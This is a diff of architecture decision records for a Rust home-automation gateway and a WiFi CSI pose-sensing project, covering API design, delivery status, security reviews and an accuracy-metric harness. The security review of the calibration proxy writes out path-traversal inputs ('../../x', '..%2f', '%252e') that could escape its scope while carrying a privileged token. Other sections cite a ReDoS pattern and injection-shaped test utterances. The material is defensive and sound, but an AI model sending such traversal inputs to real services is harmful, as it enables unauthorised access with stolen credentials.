`GET /api/homecore/cogs`: read each `/var/lib/cognitum/apps/*/manifest.json` ([ADR-100](ADR-100-cog-packaging-specification.md)), the pid file, and verify `binary_sha256` + `binary_signature` (Ed25519) → status/shield. `POST …/cogs/:id/{start,stop,restart}` performs supervised process control; `GET …/cogs/:id/logs` tails `output.log`/`error.log`; `GET/PUT …/cogs/:id/config` reads/writes `config.json`. Hailo-arch COGs join the §11.5 Hailo stats. The Cog Store/App-Registry **browsing** panel was removed per product decision; this is operational management only.
|
||||
|
||||
### 11.7 Witness aggregation + privacy (§4.9)
|
||||
|
||||
`GET /api/homecore/witness` merges two chains chronologically: the `homecore` Ed25519 state-transition chain (exposed by a small `homecore-api` route over its witness log) and each paired SEED's SHA-256 ingest chain (proxied via the registry), paginated server-side. `GET/POST /api/homecore/privacy` reads/sets per-SEED privacy mode via the SEED privacy control plane ([ADR-141](ADR-141-bfld-privacy-control-plane-modes-attestation.md)) — the POST is the high-stakes confirmed toggle (§4.9). `GET /api/homecore/witness/export` packages both chains into the downloadable attestation bundle.
|
||||
|
||||
### 11.8 Event history + automation CRUD (§4.8)
|
||||
|
||||
`homecore-api` adds `GET /api/events?since=…` backed by `homecore-recorder` ([ADR-132](ADR-132-homecore-recorder-history-semantic-search.md)) for history (live updates continue over the existing WS). The automation builder persists through `GET/POST/DELETE /api/homecore/automations`, a thin HTTP wrapper over the `homecore-automation` engine's register/list/remove ([ADR-129](ADR-129-homecore-automation-engine.md)). RuView-specific triggers (RoomState thresholds, SEED reflex events) map onto the engine's trigger types.
|
||||
|
||||
### 11.9 Entity provenance convention (§4.4/§6)
|
||||
|
||||
The first-class provenance badge requires each entity to carry its lineage. Convention: every integration writes `attributes.source` (and, where known, `attributes.seed` / `attributes.cog`) when it sets state; `cog-ha-matter` ([ADR-116](ADR-116-cog-ha-matter-seed.md)) populates these from the ESP32 node → SEED → COG path and HA `via_device`. The gateway/UI resolves node→seed→cog from these attributes (no fabrication; missing lineage renders as "unknown", not invented).
|
||||
|
||||
### 11.10 Auth, credentials, config
|
||||
|
||||
- **Browser → gateway:** one long-lived access token (the §4.10 LLAT), sent as `Authorization: Bearer`; validated by `homecore-api`'s `LongLivedTokenStore`. The dev default (`allow_any_non_empty`) stays for local runs; production provisions `HOMECORE_TOKENS`.
|
||||
- **Gateway → upstreams:** SEED bearer tokens and the calibration token live **only** server-side (SEED registry + `HOMECORE_CALIBRATION_TOKEN`); never sent to the browser. This is the reason the gateway exists.
|
||||
- **Config:** `HOMECORE_CALIBRATION_URL`, SEED registry store path, per-proxy timeout (default 2 s), `HOMECORE_UI_DEMO` (dev fixture). No browser CORS needed (same origin); gateway→upstream is server-to-server.
|
||||
|
||||
### 11.11 Front-end changes
|
||||
|
||||
`api.js`: drop the mock fallback from the production path — methods call the §11.2 gateway routes; `this.base` stays same-origin; the mock layer is reachable only under `?demo=1`/`HOMECORE_UI_DEMO`. Every panel renders a **typed empty/error state** (not mock) when its route returns `503/504`. `mock.js` moves to a dev fixture (kept for the offline test harness, excluded from the production bundle). The §10 frontend tests are re-pointed at the gateway contract (and gain contract tests per §11.2 route).
|
||||
|
||||
---
|
||||
|
||||
## 12. Delivery plan to full functionality
|
||||
|
||||
Staged so each wave is independently shippable behind the gateway, lands real data for a coherent set of panels, and has an explicit acceptance gate. "Class" reuses §11's tags.
|
||||
|
||||
| Wave | Scope | Class | Acceptance gate |
|
||||
|---|---|---|---|
|
||||
| **W1 — Gateway foundation** | `/api/homecore/*` scaffold in `homecore-server`; auth passthrough; per-proxy timeout + typed errors; `api.js` base + remove prod mock (`?demo=1` only); panels get typed empty/error states | NEW-GW | Entities + live WS still green; with no upstreams, every other panel shows "upstream unavailable", **never** mock (unless `?demo=1`); Rust + JS suites pass |
|
||||
| **W2 — Rooms + Calibration** | `/api/cal/*` reverse-proxy; `GET /api/homecore/rooms` with the §11.3 RoomState adapter + room registry; wire §4.5 + the §4.7 wizard to real endpoints; delete the in-browser calibration stub | EXISTS (proxy+adapter) | Against a running `calibrate-serve` (replayed CSI), the wizard drives a real baseline→enroll→train→verify and §4.5 shows real `RoomState` with correct stale/veto/null mapping; contract test on the adapter |
|
||||
| **W3 — Events + Automations** | `GET /api/events` over `homecore-recorder`; `/api/homecore/automations` over `homecore-automation` | NEW-API | §4.8 history loads from recorder; an automation created in the UI persists and fires via the engine |
|
||||
| **W4 — COG management** | `/api/homecore/cogs*` supervisor over `/var/lib/cognitum/apps/` (manifest + pid + sig verify + logs + config) | NEW-GW | §4.6 lists real installed COGs; start/stop/restart works; sha256/signature shield reflects real verification; logs tail |
|
||||
| **W5 — SEED tier** | SEED registry + pairing; `/api/homecore/seeds*` device proxy; witness merge + privacy control; ESP32 provisioning | SEED-DEV | Against a real or emulated SEED API, §4.2/§4.3/§4.9/§4.10 show real vector-store/witness/sensor/reflex/cognition data; SEED tokens stay server-side; offline SEED → red tint, not a failed page |
|
||||
| **W6 — Appliance + federation + Hailo** | `/api/homecore/appliance` (host metrics + service probes); `/api/homecore/hailo`; `/api/homecore/federation` ([ADR-105](ADR-105-federated-csi-training.md)) | NEW-GW + APPLIANCE | §4.1 health is real; §4.6 Hailo HEF/throughput real; §4.3 federation round/coordinator/Krum real |
|
||||
|
||||
**Definition of done (full functionality):** with W1–W6 merged and the upstream tiers running, loading `/homecore` with **no** `?demo=1` flag shows live data on all ten panels, `api.anyDemo()` is false, and no panel renders fabricated values. Panels whose tier is offline show typed empty/error states. The mock layer is reachable only as the `?demo=1` developer fixture.
|
||||
|
||||
### 12.1 Wave status (this revision)
|
||||
|
||||
| Wave | Status |
|
||||
|---|---|
|
||||
| **W1 — Gateway foundation** | ✅ DONE — `gateway.rs`, auth passthrough, typed `503/504`, merged into `build_app`; front-end mock removed from prod path + `?demo=1` fixture; typed error states. **Compiled + 12/12 Rust tests + JS suite green + run live.** |
|
||||
| **W2 — Rooms + Calibration** | ✅ DONE — `/api/cal/*` reverse-proxy + `GET /api/homecore/rooms` RoomState adapter; front-end calibration stub deleted (now proxies the real API). **Proven live against a calibration upstream** (proxy 200 + adapted shape); null-preservation unit-tested. |
|
||||
| **W3 — Events + Automations** | ⏳ gateway returns typed `503` (recorder/automation HTTP wrappers pending); front-end handles it gracefully (history note, builder still usable). |
|
||||
| **W4 — COG management** | ✅ supervisor DONE — lists `/var/lib/cognitum/apps/` manifests + pid liveness (returns `[]` live with no apps dir); start/stop/log/config control is the remaining follow-up. |
|
||||
| **W5 — SEED tier** | ⏳ gateway returns typed `503` (SEED registry + device proxy pending real/emulated SEED hardware). |
|
||||
| **W6 — Appliance + federation + Hailo** | ◑ appliance host metrics from `/proc` + port probes DONE (live `/proc` data verified); Hailo stats + federation remain `503` (need the accelerator stat source / coordinator). |
|
||||
|
||||
**Status:** the gateway is **compiled and tested on Rust 1.89** (`cargo test -p homecore-server` = 12/12) and was **run live** (curl proof in §10). The one remaining caveat is intrinsic, not an environment limit: **W3/W5/W6-Hailo/federation depend on services/hardware that are not in this repo** (recorder/automation HTTP wrappers, real SEED nodes, the Hailo stat source), so they return honest typed `503`s and the UI shows error states — exactly as §2.2/§11.2 prescribe. W1/W2/W4/W6-appliance are functional now.
|
||||
|
||||
### 12.2 Security review (PR #1082)
|
||||
|
||||
A high-effort public-PR review of the merged gateway + front-end surfaced the following, all fixed and pinned by tests (`cargo test -p homecore-server` is now **18/18**):
|
||||
|
||||
| # | Severity | Finding | Fix |
|
||||
|---|---|---|---|
|
||||
| 1 | **HIGH** | **Path-traversal / confused-deputy SSRF** in the `/api/cal/*` reverse-proxy. The wildcard path was interpolated into the upstream URL while `proxy()` attaches the privileged server-side calibration bearer, so `/api/cal/v1/../../x` (or `..%2f`, `%2e%2e`, leading `/`, `\`, double-encoded `%252e`) could escape the `…/api/` scope **with the token**. | `validate_proxy_path()` decode-then-checks and rejects absolute / backslash / dot-segment / encoded-traversal paths with a typed **400 before the URL is built** (GET **and** POST); legit `v1/...` paths still pass. |
|
||||
| 2 | Correctness | **CORS + tracing didn't cover gateway routes** — `/api/homecore/*` + `/api/cal/*` were `.merge()`d outside `homecore-api::router()`'s layers. | The audited HC-05 `build_cors_layer()` + `TraceLayer` are now applied to the whole merged app in `main.rs`. |
|
||||
| 3 | Honesty (§6) | **Fabricated data** — hardcoded `anomaly.threshold: 0.5` in the adapter; dashboard rendered `"null%"`/`"null°C"`; COG Hailo pill hardcoded `"connected"`; `rooms.js` defaulted a null threshold to `0.8`. | Threshold passes through the real upstream value or emits `null` (withheld); dashboard renders `—`; the Hailo pill reflects the real appliance probe; the UI treats a null threshold as withheld. |
|
||||
| 4 | Robustness | A string `hef` (forwarded verbatim) threw on `.forEach`/`.join`; `frames/target` could be `NaN%`/`Infinity%`; calibration Restart leaked the baseline `setTimeout` poll. | `asArray()` coercion; `target > 0` guard; cancellable poll cleared on Restart / panel teardown. |
|
||||
| 5 | Perf | Sequential per-bank RoomState fetches; blocking `std::net::TcpStream::connect_timeout` probes on an async handler; `mock.js` statically bundled. | Concurrent `futures::join_all`; async `tokio::net::TcpStream` + `timeout`; demo-only dynamic `import()` of `mock.js`. |
|
||||
|
||||
**Known limitations carried forward (not regressions):**
|
||||
- **`reqwest` rustls-only is a workspace-wide concern.** `homecore-server` opts into `rustls-tls` only, but cargo feature-unification means any sibling crate enabling the default `native-tls` re-introduces OpenSSL into the final binary. A true "no OpenSSL on the appliance" guarantee requires aligning **every** reqwest-pulling crate on rustls-only — out of scope for this PR; documented at the dependency in `Cargo.toml`.
|
||||
- **DEV-mode auth.** When `HOMECORE_TOKENS` is unset, the token store falls back to `allow_any_non_empty()` (any non-empty bearer accepted) on `0.0.0.0`. This is pre-existing and intentionally **unchanged** here; the loud boot `warn!` is retained. Provision real tokens (`HOMECORE_TOKENS=…`) before exposing the server to a network.
|
||||
@@ -174,3 +174,71 @@ vs. an in-memory array at compile time), which intersects with ADR-084 (RabitQ)
|
||||
| **P1** (this ADR) | `intent`, `recognizer` (regex), `handler` (5 built-ins), `runner` (trait + noop), `pipeline` (end-to-end wiring), 10–15 tests |
|
||||
| **P2** | Real `tokio::process::Child` runner with Windows-safe teardown; `SemanticIntentRecognizer` with ruvector HNSW |
|
||||
| **P3** | STT/TTS bridge, satellite protocol, cloud fallback |
|
||||
|
||||
---
|
||||
|
||||
## 6. Security review (beyond-SOTA, untrusted-input → action path)
|
||||
|
||||
A focused security review of the Assist pipeline — `utterance → recognizer →
|
||||
intent → handler → action`, plus `RufloRunner` — treating the utterance as
|
||||
untrusted input (voice transcripts, the WebSocket `assist` command). This
|
||||
surface was not covered by the ADR-154–159 sweep.
|
||||
|
||||
### 6.1 Finding fixed — HC-ASSIST-01 (unbounded-utterance DoS, LOW)
|
||||
|
||||
Both `RegexIntentRecognizer::recognize` and the semantic `recognize_scored`
|
||||
accepted utterances of **unbounded length** and ran `to_lowercase()` (a full
|
||||
clone) + a per-registered-pattern scan (and, in the semantic path, full
|
||||
tokenisation + feature-hash embedding) before any bound — an allocation/CPU
|
||||
amplification on attacker-controlled input. The `regex` crate is **linear-time**
|
||||
(RE2-style finite automaton, no catastrophic backtracking), so this was a
|
||||
throughput/memory DoS, not a hang.
|
||||
|
||||
**Fix:** `MAX_UTTERANCE_BYTES = 4096` (far above any real spoken command),
|
||||
checked at **both** recognizer boundaries *before* any allocation/scan. An
|
||||
over-length utterance **fails closed** to `Ok(None)` — no intent, no action,
|
||||
identical to an unrecognised phrase — so it can never be coerced into firing a
|
||||
handler. Pinned by `over_length_utterance_fails_closed` (an over-length
|
||||
utterance that *contains* a valid command resolves to `None`, which would have
|
||||
matched on the old code) and `over_length_utterance_fails_closed_semantic`.
|
||||
|
||||
### 6.2 Dimensions confirmed clean (with evidence)
|
||||
|
||||
- **Command / argument injection — NO SUBPROCESS SURFACE.** The `RufloRunner`
|
||||
has exactly two impls: `NoopRunner` (no process) and `LocalRunner` (runs the
|
||||
local recognizer, no process). There is **no** `std::process` / `tokio::process`
|
||||
/ `Command` / process `.spawn()` anywhere in the crate — the trait `spawn` is
|
||||
only a `started: bool` lifecycle flag — and `RufloRunnerOpts.{script_path,env}`
|
||||
are **inert data, never consumed**. The live `node ruflo-agent.js` runner is
|
||||
genuinely data-gated/future (P2). Defence-in-depth: the `entity_id` capture
|
||||
class `[a-z_][a-z0-9_ .]*` **excludes every shell/SQL metacharacter**, so even
|
||||
when an injection-shaped utterance resolves (the regex is not exact-anchored),
|
||||
the captured slot is a clean token — sanitisation by construction. Pins:
|
||||
`shell_metachars_never_survive_into_a_resolved_slot`,
|
||||
`runner_opts_are_inert_no_process_spawned`,
|
||||
`pipeline_injection_shaped_utterance_carries_no_metachars_to_service`.
|
||||
- **ReDoS — STRUCTURALLY IMPOSSIBLE.** `regex 1.12.3` (no `fancy-regex` in the
|
||||
dependency tree) is linear-time; a classic `(a+)+$` shape on adversarial input
|
||||
completes in bounded time. Pin:
|
||||
`pathological_backtracking_pattern_completes_in_bounded_time`. Patterns are
|
||||
operator-registered, not user-supplied, in any case.
|
||||
- **NaN-poisoning — EMBEDDINGS STRUCTURALLY FINITE.** The embedding path takes
|
||||
only `&str` and produces values via FNV feature-hashing + a guarded L2
|
||||
normalise (`norm > 1e-12`); no external float input, no unguarded division, so
|
||||
a crafted utterance cannot inject NaN/Inf to poison the cosine k-NN. Cosine
|
||||
against the zero vector is a finite `0.0`; an empty index `max_by` returns
|
||||
`None` (no panic); the NaN-safe `partial_cmp().unwrap_or(Equal)` is already in
|
||||
place. Pins: `embeddings_are_structurally_finite`,
|
||||
`cosine_with_zero_vector_is_finite_not_nan`,
|
||||
`empty_utterance_against_empty_index_no_panic_no_match`.
|
||||
- **Intent confusion / fail-closed.** An unrecognised utterance → `not_understood()`
|
||||
(no service call); a recognised intent with no registered handler →
|
||||
`not_understood()`; semantic below-threshold / empty-index → regex fallback.
|
||||
No default high-privilege intent, no fail-open path.
|
||||
- **Panic-on-input.** No `unwrap`/`expect`/index reachable from a crafted
|
||||
utterance; the one `exemplars[id]` index uses an `id` from `enumerate()` over
|
||||
the append-only exemplar `Vec` (no remove API), so it is always in bounds.
|
||||
|
||||
`cargo test -p homecore-assist --no-default-features`: **29→36, 0 failed** (+7);
|
||||
default/`semantic`: **39→48, 0 failed** (+9). Python deterministic proof
|
||||
unchanged (homecore-assist is off the signal proof path).
|
||||
|
||||
@@ -78,6 +78,23 @@ converts the entity registry; full conversion of the remaining artifacts is defe
|
||||
|
||||
- `MigrateError` carries context (`path`, line/field) for I/O, JSON, YAML, missing-field,
|
||||
unsupported-schema-version, and entity-id parse failures (`src/lib.rs`).
|
||||
- **Secret-leak hardening (security review, 2026-06).** `secrets.yaml` parse failures must
|
||||
NOT use the generic `MigrateError::YamlParse { source }` variant: `serde_yaml`'s message
|
||||
for a typed-tag coercion error (e.g. `port: !!int <value>`) embeds the offending scalar
|
||||
verbatim (`invalid value: string "<the-secret-value>"`), and that error propagates through
|
||||
the `InspectSecrets` CLI path to stderr — leaking a secret value despite the CLI's
|
||||
deliberate `<redacted>` design. `read_secrets` now maps such failures to a dedicated
|
||||
redacting variant `MigrateError::SecretsParse { path, line, column }` that carries only the
|
||||
file path and a coarse location (`serde_yaml::Error::location()`), never the scalar content.
|
||||
Pinned by `secrets::tests::malformed_secrets_error_never_contains_secret_value` (asserts the
|
||||
rendered error **and its full `#[source]` chain** never contain the secret value).
|
||||
**Review dimensions confirmed clean with evidence:** source is never mutated (no
|
||||
`fs::write`/`remove`/`create` anywhere — P1 reads source, writes nothing); paths are
|
||||
user-supplied dirs joined with fixed filenames (no `..`/absolute traversal beyond the
|
||||
user's own privileges); malformed/typed/truncated `.storage` JSON and YAML **error, never
|
||||
panic** (every production `unwrap`/`expect` is test-only); unknown schema `minor_version`
|
||||
hard-errors fail-closed; no SQL/shell/path injection surface (the tool emits diagnostics
|
||||
only, persists nothing in P1).
|
||||
|
||||
### 2.5 Deferred to P2+ (NOT built — honestly labelled)
|
||||
|
||||
@@ -89,7 +106,9 @@ converts the entity registry; full conversion of the remaining artifacts is defe
|
||||
|
||||
### 2.6 Test evidence (as shipped)
|
||||
|
||||
- 19 tests (`cargo test -p homecore-migrate`), per the crate README badge.
|
||||
- 21 tests (`cargo test -p homecore-migrate`) — 19 as originally shipped plus 2 added by the
|
||||
2026-06 security review (`secrets::tests::malformed_secrets_error_never_contains_secret_value`,
|
||||
`malformed_secrets_error_reports_location`).
|
||||
|
||||
## 3. Consequences
|
||||
|
||||
|
||||
@@ -0,0 +1,117 @@
|
||||
# ADR-172: `wifi-densepose-cli` + `wifi-densepose-core` CSI-Deserialiser Security Review
|
||||
|
||||
| Field | Value |
|
||||
|-------|-------|
|
||||
| **Status** | Accepted — clean-with-evidence, 4 regression pins added |
|
||||
| **Date** | 2026-06-15 |
|
||||
| **Deciders** | ruv |
|
||||
| **Codename** | **CSI-DESERIALISER-HARDENING** |
|
||||
| **Supersedes / amends** | none (records review; references ADR-127 §9 for the `core` portion, ADR-136 for the pre-existing DoS ACs) |
|
||||
|
||||
## Context
|
||||
|
||||
The beyond-SOTA security sweep (branch `feat/v2-beyond-sota-sweep`) reviewed each
|
||||
`v2/` crate for real, reproducible defects. Two crates had no prior dedicated
|
||||
security ADR:
|
||||
|
||||
- **`wifi-densepose-core`** — the dependency root for all 12 downstream crates
|
||||
(types, traits, error types, CSI frame primitives). A defect here is a
|
||||
force-multiplier: every consumer inherits it.
|
||||
- **`wifi-densepose-cli`** — the user-facing entrypoint
|
||||
(`calibrate`/`calibrate-serve`/`enroll`/`train-room`/`room-watch` + MAT-gated),
|
||||
which parses untrusted UDP CSI packets and operator-supplied paths.
|
||||
|
||||
A **specific hypothesis** motivated the core review. Three earlier reviews in
|
||||
this campaign found a systemic **NaN-state-poisoning bug class** in crates that
|
||||
depend on core (`wifi-densepose-calibration`, `-vitals`, `-geo`): a non-finite
|
||||
(NaN/Inf) input latched into persistent filter/accumulator state (IIR `y1/y2`,
|
||||
running mean, Welford/von-Mises accumulator, voxel grid) → silent **permanent**
|
||||
feature failure. The load-bearing question for this review: **does that bug class
|
||||
originate in a shared `wifi-densepose-core` primitive** (making the right fix a
|
||||
single root fix), or was it independently re-implemented in each downstream
|
||||
crate (making the three existing local fixes complete)?
|
||||
|
||||
## Decision
|
||||
|
||||
Record the review outcome and lock in the existing DoS guards with regression
|
||||
tests. **No production code is changed** — both crates were already hardened
|
||||
(ADR-136 acceptance criteria + `sanitize_room_id`); the gap was *untested*
|
||||
guards, which a future refactor could silently remove.
|
||||
|
||||
### Load-bearing question — VERDICT: **NO** (the NaN class does not live in core)
|
||||
|
||||
`wifi-densepose-core` exposes **no stateful accumulator of any kind** — no
|
||||
Welford/running-mean, no von-Mises/circular-mean, no IIR/biquad filter state, no
|
||||
voxel grid.
|
||||
|
||||
- **MEASURED:** `grep` over `core/src` for
|
||||
`welford|von_mises|biquad|y1|y2|running_mean|accumulat|voxel|self.*+=` matched
|
||||
only the `InvalidState` *error* enum variant, "reset state" doc comments, and a
|
||||
test-only LCG — **zero** stateful logic. The only float math in core is
|
||||
construction-time projection (`CsiFrame::new` → amplitude/phase via `mapv`) and
|
||||
pure stateless `utils` functions; nothing persists across frames.
|
||||
- **Corroboration:** `wifi-densepose-calibration::Features::from_series`
|
||||
(`extract.rs:103–133`) already filters non-finite samples → `Features::ZERO`.
|
||||
The downstream fixes are independently re-implemented, confirming each crate
|
||||
rolls its own accumulator and each local fix is correct and complete. **A fix
|
||||
in core would be a no-op (there is nothing to fix).**
|
||||
|
||||
Consequence: the NaN-state-poisoning class is a *downstream-local* pattern, not a
|
||||
core-rooted defect. No hidden fourth instance exists in the shared primitive.
|
||||
|
||||
### Findings (all pins — guards already present, now tested)
|
||||
|
||||
| # | Location | Guard (pre-existing) | Regression pin | Evidence (MEASURED) |
|
||||
|---|----------|----------------------|----------------|---------------------|
|
||||
| 1 | `core` `types.rs:801` `from_canonical_bytes` | `saturating_mul` shape-vs-length check before `Vec::with_capacity(rows*cols)` | `canonical_decode_oversized_shape_is_bounded_not_allocated` | With guard removed: **panics `capacity overflow` at `types.rs:801`**; with guard: passes |
|
||||
| 2 | `core` `types.rs` decoder | typed `CanonicalDecodeError`, never panics | `canonical_decode_never_panics_on_arbitrary_bytes` (fuzz sweep) | panic-free on arbitrary bytes |
|
||||
| 3 | `cli` `calibrate.rs:276–291` | length check `buf.len() < 20 + n_pairs*2` before `Array2::zeros(n_antennas*n_subcarriers)` | `test_parse_csi_packet_oversized_claim_is_rejected_not_allocated` | 255×65535 claim in a 2 KB packet → `None` (no allocation) |
|
||||
| 4 | `cli` `calibrate.rs` parser | `None`-returning on malformed input | `test_parse_csi_packet_never_panics_on_arbitrary_bytes` (fuzz sweep) | panic-free on arbitrary UDP bytes |
|
||||
|
||||
### Dimensions confirmed clean (with evidence)
|
||||
|
||||
1. **Panic-on-adversarial-input = 0** — `from_canonical_bytes` returns a typed
|
||||
error for every malformed class; `parse_csi_packet` returns `None`. Both
|
||||
fuzz-swept panic-free.
|
||||
2. **NaN handling** — `Confidence::new` rejects NaN
|
||||
(`!(0.0..=1.0).contains(&NaN)` ⇒ `Err`); `compute_bounding_box` /
|
||||
`to_flat_array` are NaN-tolerant (f32 min/max ignore NaN).
|
||||
3. **Empty-frame safety** — `amplitude_variance` / `mean_amplitude` are
|
||||
panic-free on an empty `Array2` (ndarray 0.17 returns finite / `None`).
|
||||
4. **Unbounded-memory DoS** — bounded in both deserialisers (findings 1 & 3).
|
||||
5. **Path traversal** — `calibrate-serve` defends every client-supplied
|
||||
`room_id`/`bank`/`baseline` via `sanitize_room_id` (`[A-Za-z0-9_-]`, 64-char
|
||||
cap) with existing tests; bearer-auth gate + non-loopback-bind warning present.
|
||||
`mat export` writes to an operator-supplied `PathBuf` (acceptable CLI behavior).
|
||||
6. **Secrets** — `--token` is read from `CALIBRATE_TOKEN` env, never embedded.
|
||||
|
||||
## Validation
|
||||
|
||||
- `cargo test -p wifi-densepose-core` → **35 → 37** lib passed, 0 failed (+3 doctests)
|
||||
- `cargo test -p wifi-densepose-cli --no-default-features` → **24 → 26** passed, 0 failed
|
||||
- `cargo test --workspace --no-default-features` → **exit 0**, 0 failed
|
||||
- `python archive/v1/data/proof/verify.py` → **VERDICT: PASS**, hash
|
||||
`f8e76f21a0f9852b70b6d9dd5318239f6b20cbcb4cdd995863263cecdc446f7a` **unchanged**
|
||||
(core/cli are off the signal proof path — confirms no pipeline alteration)
|
||||
|
||||
## Consequences
|
||||
|
||||
### Positive
|
||||
- Two CSI deserialisers (the untrusted-input boundary of both the library root
|
||||
and the network-facing CLI) now have their DoS guards pinned against
|
||||
regression — a future refactor that drops a length check fails CI.
|
||||
- The NaN-state-poisoning class is settled as downstream-local; reviewers no
|
||||
longer need to suspect a shared-root defect, and the three prior local fixes
|
||||
are confirmed complete.
|
||||
|
||||
### Negative
|
||||
- None. Test-only change; no behavior or API change.
|
||||
|
||||
### Neutral
|
||||
- The `core` portion is also noted in ADR-127 §9 (shared security-review log);
|
||||
this ADR is the canonical record for the `wifi-densepose-cli` review.
|
||||
|
||||
## Links
|
||||
- ADR-127 — HOMECORE state machine (shared security-review log, §9)
|
||||
- ADR-136 — pre-existing CSI deserialiser DoS acceptance criteria
|
||||
- ADR-151 — per-room calibration (`calibrate`/`calibrate-serve` surfaces)
|
||||
@@ -0,0 +1,123 @@
|
||||
# ADR-173: Metric-Locked PCK/MPJPE Accuracy Harness
|
||||
|
||||
| Field | Value |
|
||||
|-------|-------|
|
||||
| **Status** | Accepted — implemented, deterministically tested |
|
||||
| **Date** | 2026-06-15 |
|
||||
| **Deciders** | ruv |
|
||||
| **Codename** | **METRIC-LOCK** |
|
||||
| **Amends** | ADR-155 (generalizes the torso-only `metrics_core::pck_canonical` to a selectable normalization) |
|
||||
| **Motivated by** | `docs/research/sota-nn-train-benchmark-brief.md` (PR #1090) |
|
||||
|
||||
## Context
|
||||
|
||||
The beyond-SOTA SOTA-research brief (PR #1090) identified the single biggest
|
||||
threat to any "beyond-SOTA" accuracy claim this project makes: **metric
|
||||
ambiguity**. Three PCK@20 numbers circulate, computed under three *different and
|
||||
unstated* normalizations, so they cannot be compared:
|
||||
|
||||
- **96.09–96.61%** — WiFlow-STD reproduction, **image/bounding-box-normalized** PCK (the looser convention).
|
||||
- **81.63%** — an internal MM-Fi number reported as **"torso-PCK"** (tighter).
|
||||
- **61.1%** — GraphPose-Fi (arXiv 2511.19105), **standard torso-diameter** PCK on the MM-Fi random split (the academic frontier).
|
||||
|
||||
The project has been burned by this twice: a previously-published 92.9% was
|
||||
retracted because it used **absolute-pixel** normalization, not torso. Until
|
||||
there is *one canonical, documented, tested* PCK definition — and every reported
|
||||
number carries the definition it was computed under — no accuracy comparison is
|
||||
credible, and the "prove everything" bar cannot be met for the benchmark half of
|
||||
the work.
|
||||
|
||||
This is measurement infrastructure, not an accuracy claim. The deliverable's job
|
||||
is to make the metric **unambiguous and reproducible**, so future numbers are
|
||||
comparable and an unlabeled PCK is structurally impossible.
|
||||
|
||||
## Decision
|
||||
|
||||
Add a metric-locked accuracy harness as a new module
|
||||
`v2/crates/wifi-densepose-train/src/accuracy.rs` (404 non-test lines; inline
|
||||
deterministic tests bring the file to 708), re-exported at the crate root. It
|
||||
**extends, not duplicates** — it reuses `metrics_core`'s geometric primitives
|
||||
(`bounding_box_diagonal`, canonical hip indices `CANON_LEFT_HIP/RIGHT_HIP`), so
|
||||
there remains exactly one implementation of each geometric reference; the
|
||||
existing ADR-155 `pck_canonical` (torso-only) is unchanged and this generalizes
|
||||
it.
|
||||
|
||||
### Public API
|
||||
|
||||
- `enum PckNormalization { TorsoDiameter, BoundingBoxDiagonal, AbsolutePixels(f32) }`
|
||||
— the three conventions the three historical numbers used, now **explicit and
|
||||
selectable**. `.label()` / `.tolerance(...)`.
|
||||
- `pck_at(pred, gt, vis, k, norm) -> (correct, total, pck)` — PCK@k =
|
||||
fraction of *visible* keypoints whose predicted-vs-GT distance ≤ the tolerance,
|
||||
where tolerance = `k%` of the chosen normalizer (or an absolute threshold for
|
||||
`AbsolutePixels`).
|
||||
- `mpjpe(pred, gt, vis) -> f32` — mean per-joint position error (2D/3D, coordinate
|
||||
units; mm for mm inputs). Re-exported crate-root as `pck_mpjpe` to avoid
|
||||
colliding with the existing `eval::mpjpe`.
|
||||
- `struct PoseAccuracy { pck_at: BTreeMap<u8,f32>, mpjpe, normalization, n_keypoints, n_frames }`
|
||||
— **a reported number always carries its `normalization`**; an unlabeled PCK is
|
||||
structurally impossible to produce through this surface.
|
||||
- `struct PoseFrame { pred, gt, visibility }` + `accuracy_report(frames, ks, norm) -> PoseAccuracy`
|
||||
(micro-averaged over keypoints).
|
||||
|
||||
### Correctness is proven by hand-computed deterministic tests (no GPU, no data)
|
||||
|
||||
The tests construct synthetic keypoint sets whose PCK/MPJPE can be computed by
|
||||
hand, and assert the harness matches. Highlights (all pass):
|
||||
|
||||
| Test | Construction | Expected |
|
||||
|------|--------------|----------|
|
||||
| perfect_prediction | pred==gt | PCK=1.0 (all 3 norms), MPJPE=0 |
|
||||
| all_just_outside | every error just past τ@20 | PCK=0.0 |
|
||||
| half_in_half_out | 2 exact, 2 just outside | PCK=0.5 |
|
||||
| **three_normalizations (KEY PROOF)** | identical pred; nose err .06, shoulder .10, hips exact | torso=**0.50**, bbox=**1.00**, abs(.08)=**0.75** |
|
||||
| mpjpe_2d / mpjpe_3d | (3,4)→5 / (1,2,2)→3 | 2.5 / 3.0 |
|
||||
| mpjpe_excludes_invisible | invisible joint err 100 ignored | 5.0 |
|
||||
| zero_torso_unscoreable | coincident hips | `(0,0,0.0)`, **not** false-perfect |
|
||||
| no_visible_keypoints | vis=∅ | `(0,0,0.0)` |
|
||||
| nan_coords | one NaN pred coord | counted wrong, **no panic** |
|
||||
| empty report | no frames | 0.0, **not** NaN |
|
||||
| bbox≥torso ordering | same frames | bbox-PCK ≥ torso-PCK |
|
||||
|
||||
### The key proof (the ambiguity is real and quantified)
|
||||
|
||||
Identical predictions, three declared normalizations → **0.50 / 1.00 / 0.75**.
|
||||
Mechanism: the bbox diagonal `√(0.20² + 0.80²) = 0.825` is ~4× the hip-span torso
|
||||
`0.20`, so τ@20 is 0.165 (bbox) vs 0.040 (torso) — the looser image-normalized
|
||||
convention passes joints the strict torso convention rejects. This is *exactly*
|
||||
why 96% / 81.6% / 61% cannot be lined up without declaring the enum, demonstrated
|
||||
in-code.
|
||||
|
||||
## Validation
|
||||
|
||||
- `cargo test -p wifi-densepose-train --no-default-features` → lib **191 → 206**
|
||||
(+15), `test_metrics` **12 → 14** (+2), doc-tests 8 — **0 failed**.
|
||||
- `cargo test --workspace --no-default-features` → **exit 0**, 0 failed.
|
||||
- `python archive/v1/data/proof/verify.py` → **VERDICT: PASS**, hash
|
||||
`f8e76f21a0f9852b70b6d9dd5318239f6b20cbcb4cdd995863263cecdc446f7a` **unchanged**
|
||||
(off the signal proof path — confirms no pipeline alteration).
|
||||
|
||||
## Consequences
|
||||
|
||||
### Positive
|
||||
- The three historical PCK numbers can now be **recomputed under one declared
|
||||
definition** and compared honestly. The retracted-number class of error
|
||||
(silent normalization mismatch) is structurally prevented going forward.
|
||||
- Establishes the measurement substrate for the beyond-SOTA target: GraphPose-Fi
|
||||
cross-environment **PCK@20 = 12.9%** (standard torso PCK) is now a number this
|
||||
harness can produce comparably.
|
||||
|
||||
### Negative
|
||||
- None functional. The harness is additive; no existing metric path changed.
|
||||
|
||||
### Neutral
|
||||
- Producing actual model numbers under this harness requires the trained models +
|
||||
datasets (MM-Fi) and, for cross-domain splits, is the next sub-deliverable of
|
||||
the benchmark/optimization milestone — out of scope here (this ADR is the
|
||||
*instrument*, not the *reading*).
|
||||
|
||||
## Links
